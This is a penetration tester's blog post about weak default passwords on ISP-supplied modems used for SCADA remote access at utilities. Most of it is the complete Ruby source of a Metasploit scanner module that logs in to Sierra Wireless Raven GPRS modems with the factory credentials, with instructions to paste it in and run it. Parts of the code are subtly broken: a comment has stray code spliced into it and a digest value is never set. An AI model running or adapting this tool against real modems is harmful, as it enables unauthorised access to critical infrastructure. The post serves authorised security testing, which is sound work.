In some of the pentests that I'd performed over utility companies I have identified that as a consistent problem the use of small modems that will allow remote connectivity (think SCADA). The problem begins with the configuration of the modem itself since a lot of the times the modem is provided by the ISP (e.g. Verizon or ATT) and sometimes not really managed by the company that is using it, most of the times for lack of knowledge of plant engineers. In most of the cases these devices come with a default administrator password that can be used to configure the device remotely. This is a screenshot of the metasploit module that I developed to test for this misconfiguration and how to use it:
Just copy the code at the end of this post and paste it into a file in the modules/auxiliary/scanner/http/ folder and load the msfconsole. I already submitted this module to the metasploit dev team however I never know if they'll publish my stuff or not. In this one I believe they might not do it specially because I used the digest function inside my module. Don't get me wrong, I completely understand why they have high standards for the code they publish to the framework and they have all my respect for that but some of these modules I develop them on my free time and I will not waste more time on them after they work for me.
I hope this helps someone.
gr33tz to etlow
The code:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'digest'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'Raven GPRS default password',
'Version' => '$Revision: 14789 $',
'Description' => 'This module simply attempts to login to a Raven modem using the default user:pass.',
'References' =>
[
[ 'CVE', '1999-0502'], # Weak password
['Vendor URL', 'http://www.sierrawireless.com/en/productsandservices/AirLink/Gateways.aspx']
],
'Author' => [ '@c4an', 'David Llorens <[at]c4an>' ],
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(8088),
OptString.new('URI', [true, "URI for modem login. Default is /msci", "/msci"]),
OptString.new('PASSWORD', [true, "Password for the modem. Default is 12345", "12345"]),
OptInt.new('SLEEP', [true, "Seconds to delay the MD5 HTTP auth after the identification of the modem. This is required to have accurate results", 6]),
], self.class)
register_advanced_options(
[
OptString.new('USER', [ false, "Default is user", 'user']),
], self.class)
end
def run_host(ip)
modem = false
user = datastore['USER']
pass = datastore['PASSWORD']
begin
res,c = send_digest_request({
'uri' => "#{datastore['URI']}",
'method' => 'GET',
#'DigestAuthIIS' => false,
'DigestAuthUser' => user,
'DigestAuthPassword' => pass,
}, 45)
unless (res.kind_of? Rex::Proto::Http::Response)
vprint_error("http://#{rhost}:#{rport}#{datastore['URI']} not responding")
return :abort
end
if res.code != 401
print_good("http://#{rhost}:#{rport}#{datastore['URI']} [Raven GPRS modem] successful login '#{user}' : '#{pass}'")
report_auth_info(
:host => rhost,
:port => rport,
:sname => (ssl ? "https" : "http"),
:user => user,
:pass => pass,
:proof => "WEBAPP=\"AT&T GPRS Raven Modem default password\"",
:source_type => "user_supplied",
:duplicate_ok => true,
:active => true
)
else
vprint_error("http://#{rhost}:#{rport}#{datastore['URI']} ] [Raven GPRS Modem] failed to login as '#{user}':'#{pass}'")
end
rescue ::Rex::ConnectionError => e
vprint_error("http://#{rhost}:#{rport}#{datastore['URI']} - #{e}")
return
end
end
def send_digest_request(opts={}, timeout=20)
# Code taken from http client Module in the framework developed by HD Moore
# The reason for this is because I want to check if the device is actually a Raven device
# before sending the credenctials and this was the only way to do it and using the digest function created in the framework
@nonce_count = 0
return [nil,nil] if not (datastore['DigestAuthUser'] or opts['DigestAuthUser'])
to = opts['timeout'] || timeout
digest_user = datastore['DigestAuthUser'] || opts['DigestAuthUser'] || ""
digest_password = datastore['DigestAuthPassword'] || opts['DigestAuthPassword'] || ""
method = opts['method']
path = opts['uri']
iis = true
if (opts['DigestAuthIIS'] == false or datastore['DigestAuthIIS'] == false)
iis = false
end
begin
@nonce_count += 1
resp = nil
if not resp
# Get authentication-challenge from server, and read out parameters required
c = connect(opts)
r = c.request_cgi(opts.merge({
'uri' => path,
'method' => method }))
resp = c.send_recv(r, to)
unless resp.kind_of? Rex::Proto::Http::Response
return [nil,nil]
end
return [nil,nil] if resp.code == 404
if resp.code != 401
return resp
end
return [nil,nil] unless resp.headers['WWW-Authenticate']
end
# Don't anchor this regex to the beginning of string because header
# folding makes it appear later when the server presents multiple
# WWW-Authentication options (such as is the case with IIS configured
# for Digest or NTLM).
a = resp['www-authenticate'].match(/Digest (.*)/)[1]
parameters = {}
a.split(/,[[:space:]]*/).each do |p|
k, v = p.split("=", 2)
parameters[k] = v.gsub('"', '')
end
modem = true if(resp.headers['WWW-Authenticate'].to_s.scan(/Airlink.com/i).size >= 1)
if modem
print_good("#{rhost}:#{rport} seems to be an Raven device!")
# GPRS modems are incredibly slow to reply back after the first HTTP request is made.
# The sleep is a patch to have accurate results before sending MD5 and make sure that GPRS replies back
# Remove it at your own risk
sleep(datastore['SLEEP'])
else
print("http://#{rhost}:#{rport}#{datastore['URI']} - Not an Raven GPRS modem")
return [nil,nil]
end
qop = parameters['qop']
if parameters['algorithm'] =~ /(.*?)(-sess)?$/
algorithm = case $1
when 'MD5' then Digest::MD5
when 'SHA1' then Digest::SHA1
when 'SHA2' then Digest::SHA2
when 'SHA256' then Digest::SHA256
when 'SHA384' then Digest::SHA384
when 'SHA512' then Digest::SHA512
when 'RMD160' then Digest::RMD160
else raise Error, "unknown algorithm \"#{$1}\""
end
algstr = parameters["algorithm"]
sess = $2
else
algorithm = Digest::MD5
algstr = "MD5"
sess = false
end
a1 = if sess then
[
algorithm.hexdigest("#{digest_user}:#{parameters['realm']}:#{digest_password}"),
parameters['nonce'],
@cnonce
].join ':'
else
"#{digest_user}:#{parameters['realm']}:#{digest_password}"
end
ha1 = algorithm.hexdigest(a1)
ha2 = algorithm.hexdigest("#{method}:#{path}")
request_digest = [ha1, parameters['nonce']]
request_digest.push(('%08x' % @nonce_count), @cnonce, qop) if qop
request_digest << ha2
request_digest = request_digest.join ':'
# Same order as IE7
auth = [
"Digest username=\"#{digest_user}\"",
"realm=\"#{parameters['realm']}\"",
"nonce=\"#{parameters['nonce']}\"",
"uri=\"#{path}\"",
"cnonce=\"#{@cnonce}\"",
"nc=#{'%08x' % @nonce_count}",
"algorithm=#{algstr}",
"response=\"#{algorithm.hexdigest(request_digest)[0, 32]}\"",
# The spec says the qop value shouldn't be enclosed in quotes, but
# some versions of IIS require it and Apache accepts it. Chrome
# and Firefox both send it without quotes but IE does it this way.
# Use the non-compliant-but-everybody-does-it to be as compatible
# as possible by default. The user can override if they don't likedatastore['PASSWORD']
# it.
if qop.nil? then
elsif iis then
"qop=\"#{qop}\""
else
"qop=#{qop}"
end,
if parameters.key? 'opaque' then
"opaque=\"#{parameters['opaque']}\""
end
].compact
headers ={ 'Authorization' => auth.join(', ') }
headers.merge!(opts['headers']) if opts['headers']
# Send main request with authentication
r = c.request_cgi(opts.merge({
'uri' => path,
'method' => method,
'headers' => headers }))
resp = c.send_recv(r, to)
unless resp.kind_of? Rex::Proto::Http::Response
return [nil,nil]
end
return [resp,c]
rescue ::Errno::EPIPE, ::Timeout::Error
vprint_error("Connection timed out")
end
end
end